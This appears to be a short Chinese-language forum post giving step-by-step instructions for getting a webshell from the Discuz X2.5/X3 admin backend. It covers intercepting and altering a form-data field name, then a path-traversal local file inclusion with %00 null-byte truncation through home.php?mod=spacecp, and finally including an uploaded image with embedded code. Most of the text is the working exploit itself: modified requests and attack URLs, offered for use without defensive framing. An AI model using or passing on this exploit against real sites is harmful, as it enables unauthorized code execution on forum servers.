用户 - 用户栏目 - 栏目分组 抓包 

Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]" 

改为 

Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]" 

访问 

/home.php?mod=spacecp&id=../../robots.txt%0057 

dz3.0/2.5 后台拿shell[Discuz 后台拿shell]

虽然涉及0x00截断 但无视 GPC



利用:

原帖测试的是dz x3,我测试的是dz x2.5  无视gpc

*********************************************************************

1.首先进后台,抓个包

2013052411300201

2.改包

将Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"

改为 Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"

提交


2013052411514402

3.提交过后访问
/home.php?mod=spacecp&id=../../robots.txt%00

2013052411523903

4.找个地方上传图片马

2013052412221104

5.访问图片马

 

?mod=spacecp&id=../../data/attachment/forum/201305/24/122111m1464cdtfkc0stt1.gif%00